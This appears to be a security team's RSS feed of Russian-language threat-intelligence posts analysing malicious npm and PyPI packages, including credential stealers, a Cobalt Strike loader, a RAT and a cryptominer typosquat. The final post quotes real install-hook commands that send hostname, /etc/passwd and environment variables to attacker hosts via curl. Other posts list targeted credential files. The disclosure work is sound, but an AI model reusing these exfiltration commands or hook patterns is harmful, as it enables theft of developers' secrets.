<figure class="wp-block-image"><img width="1024" height="841" src="/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-1024x841.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-1024x841.jpg 1024w, /wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-300x246.jpg 300w, /wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-768x631.jpg 768w, /wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-1536x1261.jpg 1536w, /wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36.jpg 1566w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="841" src="/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-1024x841.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-1024x841.jpg 1024w, /wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-300x246.jpg 300w, /wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-768x631.jpg 768w, /wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-1536x1261.jpg 1536w, /wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36.jpg 1566w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#npm</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Библиотека-логгер и инфостилер в придачу? Спасибо, не надо</title>
		<link>/a-logger-library-with-an-infostealer-thrown-in-no-thanks/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 07 Apr 2026 16:41:24 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b1%d0%b8%d0%b1%d0%bb%d0%b8%d0%be%d1%82%d0%b5%d0%ba%d0%b0-%d0%bb%d0%be%d0%b3%d0%b3%d0%b5%d1%80-%d0%b8-%d0%b8%d0%bd%d1%84%d0%be%d1%81%d1%82%d0%b8%d0%bb%d0%b5%d1%80-%d0%b2-%d0%bf%d1%80%d0%b8%d0%b4/</guid>

					<description><![CDATA[Библиотека-логгер и инфостилер в придачу? Спасибо, не надо 👋 За последнее время произошло немало событий. Например, кто-то решил поиграть в меценатство и опубликовал 30 релизов с именами NPM-библиотек для логирования: • @logcore/pino-pretty-logger…]]></description>
										<content:encoded><![CDATA[<strong>Библиотека-логгер и инфостилер в придачу? Спасибо, не надо</strong> 👋<br />
<br />
За последнее время произошло немало событий. Например, кто-то решил поиграть в меценатство и опубликовал 30 релизов с именами NPM-библиотек для логирования:<br />
<br />
• <code>@logcore/pino-pretty-logger</code><br />
• <code>console-loggers
</code>• <code>jellyfi-pino-pretty-logger</code><br />
• j<code>onas-prettier-logger</code><br />
• <code>logger-beauty</code><br />
• <code>pino-logger-utils</code><br />
• <code>pino-pretty-log</code><br />
• <code>pino-pretty-logger</code><br />
• <code>pretty-pino-logger</code><br />
• <code>pretty-ts-logger</code><br />
• <code>ts-moduler</code><br />
• <code>wrapped-logger-utils</code><br />
<br />
Это не просто спам-кампания: эти библиотеки несут в себе инфостилер и бэкдор.<br />
<br />
Нам даже удалось в этот раз кому-то уступить в борьбе за звание «самая быстрая рука на диком опенсорсе» — первыми зарепортили лишь 5 из 12 пакетов 🥺<br />
<br />
Кампания использует обфускацию. Изначально злоумышленник защищал только имена переменных, но затем стал XOR-ить строки (<em>скриншоты 1, 2</em>).<br />
<br />
<strong>Вредоносная логика активируется во время импорта библиотеки:</strong><br />
<br />
1️⃣Определение ОС жертвы и сбор базовой информации о системе (IP-адрес сетевого устройства, имя пользователя).<br />
<br />
2️⃣Параллельное выполнение двух задач:<br />
<br />
🔗Быстрая кража: отправление на сервер злоумышленника файла <code>.env</code>, если он есть в текущей рабочей директории.<br />
<br />
🔗Обход домашней директории в поисках файлов с расширениями <code>.env</code> / <code>.json</code>. В коде есть небольшая оптимизация — при обходе будут пропущены следующие папки:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">'node_modules', 'Library', 'System', 'Windows', 'Program Files', 'ProgramData',
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
'target', 'target2', 'public', 'private', 'tmp', 'temp', 'var', 'cache', 'log',
'logs', 'sample', 'samples',
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'resources', 'audio', 'videos', 'video', 'music',
'svn', 'cvs', 'hg', 'mercurial', 'registry',
'__MACOSX', 'vscode', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
'pkg', 'move', 'rustup', 'toolchains',
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
'coverage', 'history', 'terraform'</code></span></pre><br />
<br />
Пользователям Linux особенно не повезет: им в <code>~/.ssh/authorized_keys</code> закинут новый публичный SSH-ключ. При работающем сервисе sshd и разрешении использовать ssh-ключ для текущего пользователя позволит злоумышленнику подключаться к устройству 😍<br />
<br />
Под Windows помимо обхода домашней директории стилер пройдется по всем подключенным дискам.<br />
<br />
3️⃣Отправка всех собранных данных на сервер злоумышленника.<br />
<br />
———<br />
<br />
В версиях пакета, где применяется более продвинутая обфускация, злоумышленник уточняет, какие конкретно файлы ему нужны:<br />
<br />
<pre class="wp-block-code"><span><code lang="javascript" class="hljs language-javascript language-javascript"><span class="hljs-keyword">const</span> ENV_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;
    <span class="hljs-string">'.env'</span>, <span class="hljs-string">'.env.local'</span>, <span class="hljs-string">'.env.production'</span>, <span class="hljs-string">'.env.development'</span>,
    <span class="hljs-string">'.config'</span>, <span class="hljs-string">'.npmrc'</span>, <span class="hljs-string">'.pypirc'</span>, <span class="hljs-string">'.git-credentials'</span>, <span class="hljs-string">'wallet.dat'</span>, <span class="hljs-string">'id.json'</span>, <span class="hljs-string">'key.json'</span>, <span class="hljs-string">'keystore/*.json'</span>,
]);
<span class="hljs-keyword">const</span> JSON_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;<span class="hljs-string">'config.json'</span>, <span class="hljs-string">'settings.json'</span>, <span class="hljs-string">'secrets.json'</span>]);</code></span></pre><br />
<br />
Вероятно, это связано с большим количеством мусора при сборе всех json-файлов.<br />
<br />
Также добавилась кража директории <code>tdata</code>, содержащей данные сессии Telegram 🤢<br />
<br />
———<br />
<br />
Дежурное напоминание: не ослабляйте бдительность при работе с опенсорс-проектами 😑<br />
<br />
<span class="hashtag">#npm</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)

<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg 1024w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-300x300.jpg 300w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-150x150.jpg 150w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-768x768.jpg 768w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1536x1536.jpg 1536w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-2048x2048.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Необычная обфускация — это всегда красиво&#8230;</title>
		<link>/unusual-obfuscation-is-always-beautiful/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 13:02:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%b5%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%b0%d1%8f-%d0%be%d0%b1%d1%84%d1%83%d1%81%d0%ba%d0%b0%d1%86%d0%b8%d1%8f-%d1%8d%d1%82%d0%be-%d0%b2%d1%81%d0%b5%d0%b3%d0%b4%d0%b0-%d0%ba%d1%80%d0%b0/</guid>

					<description><![CDATA[Необычная обфускация — это всегда красиво&#8230; 🥰 &#8230; жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF). Одна из задач злоумышленника…]]></description>
										<content:encoded><![CDATA[<p><strong>Необычная обфускация — это всегда красиво&#8230; </strong><strong>🥰</strong></p>
<p>&#8230; жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF).</p>
<p>Одна из задач злоумышленника — сделать вредоносный пакет, который выглядит легитимным. Это позволит дольше избегать обнаружения.</p>
<p>Мы заметили интересную PyPI-кампанию, в которую входит библиотека <code>requests-ml-min</code> за авторством <code>scott.fitzgerald</code>. В ней всего шесть Python-файлов:</p>
<p>1️⃣ <code>setup.py</code>. Есть исполнение <code>ModelInstall</code> в момент установки, но это не криминал: есть много проектов, которые что-то доустанавливают или компилируют на этом этапе.</p>
<p>2️⃣ <code>tests/test_pnotify.py</code>. Ничего необычного.</p>
<p>3️⃣ <code>tests/test_utils.py</code>. Ничего необычного.</p>
<p>4️⃣ r<code>esource/resource.py</code> (<em>скриншот 1</em>). Содержит массив из 145 идентификаторов UUID и функцию конкатенации&#8230; 🤪 Оригинально, попытка засчитана 🙂</p>
<p>5️⃣ <code>src/audit/perf.py</code> (<em>скриншот 2</em>). Сбор информации о системе, упаковка в base64, отправка. 👍 Десять детектов на стилерский сбор информации о системе из десяти.</p>
<p>6️⃣ s<code>rc/utils/utils.py</code> (<em>скриншот 3</em>). Реализует функции-хелперы. Строки обфусцированы через массивы ASCII-кодов&#8230; 🏃‍♀️ Мы решаем CTF-таск reverse за 100?</p>
<p><strong>О файле </strong><code>resource/resource.py</code></p>
<p>За обфускацией скрывается красивый downloader + process injector. Красивый потому, что скачиваемый файл, являющийся шеллкодом, расположен по следующему URI:</p>
<p><code>https://storage.googleapis.com/py-pi/python_win</code></p>
<p>Шеллкод будет инжектирован в отдельно для него запущенный процесс <code>werfault.exe</code>. Нагрузка представляет собой загрузчик Cobalt Strike.</p>
<p><strong>Действия PyPI-пакета в процессе установки:</strong></p>
<p>🤔 Соберет информацию о системе (<em>скриншот 2)</em>.</p>
<p>🤔 Отправит ее на <code>https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping</code><br />
 (к слову, еще один красивый URI).</p>
<p>🤔 Убедится, что жертва находится в белом списке. Для этого она получит домен жертвы, захэширует его алгоритмом SHA-256 и убедится, что хэш соответствует одному из семи ожидаемых. Это хороший метод антианализа, ведь он затрудняет работу исследователей 🙂</p>
<p>🤔 Если жертва находится в белом списке, то запустит нагрузку с Cobalt Strike.</p>
<p>Занятно, что код позволяет подготовить нагрузку под Windows, Linux и macOS, однако автор добавил только вариант для Windows.</p>
<p><strong>Нам удалось подобрать исходный текст для четырех из семи хэшей:</strong><br />
🌟<code>desktop</code><br />
🌟<code>abd.local</code><br />
🌟<code>exttest.local</code><br />
🌟<code>extprod.local</code></p>
<p>Свои догадки о природе этих доменов можете оставлять в комментариях 🤨</p>
<p>Учитывая, каким списком целей ограничивает себя библиотека, это может быть пентест или багбаунти. По крайней мере, будем на это надеяться — такую красивую библиотеку не так часто можно встретить.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
<figure class="wp-block-image"><img width="1024" height="892" src="/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg 1024w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-300x261.jpg 300w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-768x669.jpg 768w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="945" src="/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg 1024w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-300x277.jpg 300w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-768x709.jpg 768w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pip install teligram</title>
		<link>/pip-install-teligram/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 14:36:18 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/pip-install-teligram/</guid>

					<description><![CDATA[pip install teligram 🧐 (лучше не запускайте) Восьмого февраля была опубликована библиотека teligram. Ее описание гласит: Telegram-based friendly library. Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена…]]></description>
										<content:encoded><![CDATA[<strong>pip install teligram</strong> 🧐 <span class="spoiler">(лучше не запускайте)</span><br />
<br />
Восьмого февраля была опубликована библиотека <code>teligram</code>.<br />
<br />
Ее описание гласит: <code>Telegram-based friendly library</code>.<br />
<br />
Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена самописным Remote Access Tool (RAT).<br />
<br />
<strong>Его особенности:</strong><br />
<br />
• Есть следы использования LLM.<br />
<br />
• Содержит в себе одну большую функцию <code>khelo</code>, в которой реализованы 16 подфункций.<br />
<br />
• Присутствуют следы индийского языка (<code>khelo</code> переводится как «играть»; выбранное имя разработчика <code>Om Devendra</code> — индийское).<br />
<br />
• Код не обфусцирован, и приветствие бота, отправляемое при использовании команд <code>/help</code> и <code>/start</code> администратором, отражает возможности:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">Available commands:
pwd - Show current directory
ls or ls -la - List files
cd &lt;directory&gt; - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take &lt;number&gt; - Get the nth file
   Example: take 1

2. take &lt;file_name&gt; - Get file by name
   Example: take myfile.txt

3. take .&lt;extension&gt; - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped</code></span></pre><br />
<br />
Версия 1.0.0 не обладает функционалом запуска после установки. Остальные версии не успели выйти — пакет был отправлен в карантин, хотя и просуществовал 19 часов.<br />
<br />
💬 К слову, читать ESCalator <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">можно теперь и в MAX</a><a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">.</a> И это не скам.<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Город празднует, просыпается мафия</title>
		<link>/the-city-celebrates-the-mafia-awakens/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 19 Jan 2026 15:05:12 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%be%d1%80%d0%be%d0%b4-%d0%bf%d1%80%d0%b0%d0%b7%d0%b4%d0%bd%d1%83%d0%b5%d1%82-%d0%bf%d1%80%d0%be%d1%81%d1%8b%d0%bf%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bc%d0%b0%d1%84%d0%b8%d1%8f/</guid>

					<description><![CDATA[Город празднует, просыпается мафия 🥰 За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. Злоумышленники в PyPI ленятся. Мы расскажем о маленькой…]]></description>
										<content:encoded><![CDATA[<strong>Город празднует, просыпается мафия </strong><strong>🥰</strong><br />
<br />
За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. <s>Злоумышленники в PyPI ленятся</s>. Мы расскажем о маленькой новогодней магии в рамках одного PyPI-пакета.<br />
<br />
Пользователь <code>ambertransit</code> 4 января опубликовал проект <code>aiihttp</code>, название которого мимикрирует под http-клиент <code>aiohttp</code>.<br />
<br />
Начинается код простой обфускацией:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-keyword">import</span> base64

exec(base64.b64decode(<span class="hljs-string">'aW1wb3J0IGl...'</span>)</code></span></pre><br />
<br />
Логика, сокрытая за base64, представлена на первом скриншоте. Из ключевого:<br />
<br />
<strong>•</strong> Пакет по-джентельменски помогает опечатавшемуся разработчику: удаляет себя, устанавливает <code>aiohttp</code> [п.1 на скр. 1], после чего перезагружает модуль, если он уже был импортирован [2].<br />
<br />
<strong>•</strong> Следующий стейдж находится на GitHub [3]. Однако все не так просто — он зашифрован XOR-ом длиной 32 символа [4]. Для ключа используется алфавит <code>[a-f0-9]{32}</code>, который по формату походит на MD5, но дополнительного смысла мы за этим не нашли.<br />
<br />
<strong>•</strong> Закрепление в системе происходит через реестр [5]. Стейдж отработает при следующем входе пользователя в систему.<br />
<br />
Учетная запись GitHub активна и заливает вредоносы с мая 2024. Использование XOR, даже с ключом длиной 32 байта, без режима сцепления блоков шифротекста делает исполняемые файлы не такими уж и защищенными 😁 (на втором скриншоте — скачиваемый вредоносным кодом блоб). Такая же картина наблюдается и к концу файла, тоже богатому нулевыми байтами.<br />
<br />
Исполняемым файлом является майнер для криптовалюты Monero. В результате кампании злоумышленнику удалось намайнить 15,7 <span class="spoiler">(не миллионов)</span> рублей 🤑<br />
<br />
Будьте осторожны в опенсорсе, это плодородная почва для действий злоумышленников 😼

<figure class="wp-block-image"><img width="1024" height="862" src="/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg 1024w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-300x252.jpg 300w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-768x646.jpg 768w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Node JS. Вредоносная активность на стадии установки</title>
		<link>/node-js-malicious-activity-at-the-installation-stage/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 17:58:09 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/node-js-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d0%b0%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0-%d1%81%d1%82%d0%b0%d0%b4%d0%b8%d0%b8-%d1%83%d1%81/</guid>

					<description><![CDATA[Node JS. Вредоносная активность на стадии установки В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление. В пакетах JavaScript существует…]]></description>
										<content:encoded><![CDATA[<strong>Node JS. Вредоносная активность на стадии установки</strong><br />
<br />
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.<br />
<br />
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле <code>package.json</code> в секции <code>scripts</code>:<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"&lt;from-ptescalator-with-love&gt;"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Example config of package.json for demonstration-purposes"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"hello.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"echo \"I will be run at pre-install stage\""</span>,
    <span class="hljs-attr">"install"</span>: <span class="hljs-string">"echo \"I will be run at install stage\""</span>,
    <span class="hljs-attr">"postinstall"</span>: <span class="hljs-string">"echo \"I will be run at post-install stage\""</span>
  }
}
</code></span></pre><br />
<br />
Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎<br />
<br />
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:<br />
<br />
🫥 Запустить js-код<br />
<br />
<code>atlas-websocket@33.9.9</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node index.js
</code></span></pre><br />
<br />
<code>wokes@1.0.0</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node cli/setup-security.js
</code></span></pre><br />
<br />
🫥 Исполнить команду системным интерпретатором:<br />
<br />
<code>autogestion-aprendizaje@1.0.4</code>, preinstall, передача <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"No tests"</span> &amp;&amp; curl <span class="hljs-string">"http://&#91;REDACTED].net/?NPM=<span class="hljs-variable">$(hostname)</span>&amp;&lt;template&gt;"</span>
</code></span></pre><br />
<br />
<code>bsee-shared-hmd@1.0.6</code>, preinstall, кража <code>/etc/passwd</code> и получение <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">sh -c 'curl -X POST -d "user=$(whoami)&amp;host=$(hostname)&amp;passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/&#91;REDACTED]'
</code></span></pre><br />
<code>
storyblok-rich-text-astro-renderer-workspace@99.99.99</code>, postinstall, кража переменных окружения:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl -X POST https://&#91;REDACTED].oastify.com --data <span class="hljs-string">"<span class="hljs-variable">$(env)</span>"</span>
</code></span></pre><br />
<code>
arkoselabs@99.9.13</code>, preinstall, кража переменных окружения, <code>/etc/passwd</code>, <code>hostname</code> и имени пользователя:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl --data-urlencode <span class="hljs-string">"info=<span class="hljs-variable">$(hostname &amp;&amp; whoami &amp;&amp; cat /proc/self/environ &amp;&amp; cat /etc/passwd)</span>"</span> http://&#91;REDACTED].oast.me<span class="hljs-string">"
</span></code></span></pre><br />
<br />
<s>Если пост соберет 1000 сердечек</s>🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
